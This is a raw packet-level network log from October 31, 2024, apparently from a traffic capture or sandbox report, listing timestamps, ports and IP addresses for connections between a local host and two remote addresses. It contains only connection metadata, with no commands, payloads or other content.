Oct 31, 2024 20:52:17.185722113 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.185728073 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.185760975 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.185777903 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.185803890 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.185817957 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.185837030 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.185842991 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.185859919 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.185868979 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.185878992 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.185885906 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.185895920 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.185919046 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.185937881 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.185939074 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.185944080 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.185954094 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.185960054 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.185966969 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.185988903 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.186017036 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.186023951 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.186029911 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.186064959 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.186069012 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.186075926 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.186081886 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.186088085 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.186111927 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.186116934 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.186120987 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.186137915 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.186166048 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.186201096 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.186208963 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.186216116 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.186222076 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.186227083 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.186249971 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.186252117 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.186258078 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.186264038 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.186269045 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.186269999 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.186294079 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.186316967 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.186331034 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.186336994 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.186347008 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.186352968 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.186384916 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.186398029 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.186451912 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.186456919 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.186469078 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.186475039 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.186502934 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.186505079 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.186507940 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.186526060 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.186527967 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.186538935 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.186551094 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.186556101 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.186558962 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.186580896 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.186588049 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.186611891 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.186629057 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.186630011 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.186635017 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.186645985 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.186650038 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.186685085 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.186687946 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.186693907 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.186692953 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.186698914 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.186733961 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.186785936 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.186832905 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.187248945 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.187261105 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.187290907 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.187308073 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.187338114 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.258335114 CET	49744	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:17.258351088 CET	443	49744	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:17.258419037 CET	49744	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:17.258788109 CET	49744	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:17.258800983 CET	443	49744	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:17.268738031 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.268764019 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.268776894 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.268845081 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.268862963 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.268868923 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.268879890 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.268886089 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.268915892 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.268934965 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.269026041 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.269032001 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.269043922 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.269049883 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.269056082 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.269062042 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.269068003 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.269073009 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.269078970 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.269079924 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.269114971 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.269143105 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.269184113 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.269207954 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.269221067 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.269227028 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.269227982 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.269238949 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.269244909 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.269246101 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.269272089 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.269299030 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.269433022 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.269439936 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.269452095 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.269457102 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.269463062 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.269469023 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.269479990 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.269485950 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.269490004 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.269491911 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.269499063 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.269522905 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.269547939 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.306071043 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.306088924 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.306094885 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.306150913 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.306157112 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.306159973 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.306163073 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.306174040 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.306197882 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.306217909 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.306226015 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.306231022 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.306260109 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.306267023 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.306277990 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.306302071 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.306344032 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.306349993 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.306355953 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.306360006 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.306370974 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.306377888 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.306390047 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.306411028 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.306433916 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.306447029 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.306487083 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.306514978 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.306520939 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.306548119 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.306554079 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.306561947 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.306638956 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.306644917 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.306651115 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.306657076 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.306662083 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.306667089 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.306675911 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.306684971 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.306744099 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.306744099 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.306761980 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.306770086 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.306776047 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.306777000 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.306816101 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.306817055 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.306829929 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.306869984 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.306871891 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.306878090 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.306916952 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.306920052 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.306926966 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.306972027 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.307008982 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.307014942 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.307027102 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.307032108 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.307039022 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.307044983 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.307055950 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.307075977 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.307094097 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.307285070 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.307291985 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.307302952 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.307320118 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.307327032 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.307332993 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.307333946 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.307338953 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.307349920 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.307382107 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.307384014 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.307389021 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.307399035 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.307404995 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.307410955 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.307416916 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.307432890 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.307451010 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.307476997 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.307576895 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.307580948 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.307585955 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.307625055 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.307657957 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.307672977 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.307677984 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.307682991 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.307688951 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.307694912 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.307703018 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.307727098 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.307742119 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.307764053 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.307771921 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.307777882 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.307782888 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.307801962 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.307827950 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.307828903 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.307840109 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.307864904 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.307890892 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.307893038 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.307931900 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.307976007 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.307982922 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.307992935 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.308023930 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.308089018 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.308094978 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.308137894 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.308166981 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.308173895 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.308185101 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.308191061 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.308212996 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.308228970 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.308253050 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.308259964 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.308270931 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.308276892 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.308283091 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.308300972 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.308319092 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.308346987 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.308351994 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.308363914 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.308367968 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.308373928 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.308393955 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.308407068 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.308434010 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.308540106 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.308545113 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.308557034 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.308562994 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.308569908 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.308577061 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.308587074 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.308592081 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.308613062 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.308615923 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.308619022 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.308643103 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.308654070 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.308774948 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.308780909 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.308792114 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.308798075 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.308804035 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.308809996 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.308823109 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.308825016 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.308829069 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.308844090 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.308849096 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.308855057 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.308855057 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.308872938 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.308893919 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.308903933 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.308959961 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.308976889 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.308984041 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.308995962 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.309001923 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.309005976 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.309024096 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.309051991 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.309113026 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.309119940 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.309129953 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.309135914 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.309140921 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.309154034 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.309156895 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.309175968 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.309196949 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.309238911 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.309247017 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.309252977 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.309258938 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.309263945 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.309269905 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.309293985 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.309319019 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.309381962 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.309387922 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.309431076 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.309444904 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.309452057 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.309462070 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.309468985 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.309474945 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.309494972 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.309515953 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.309583902 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.309590101 CET	80	49740	185.215.113.16	192.168.2.4
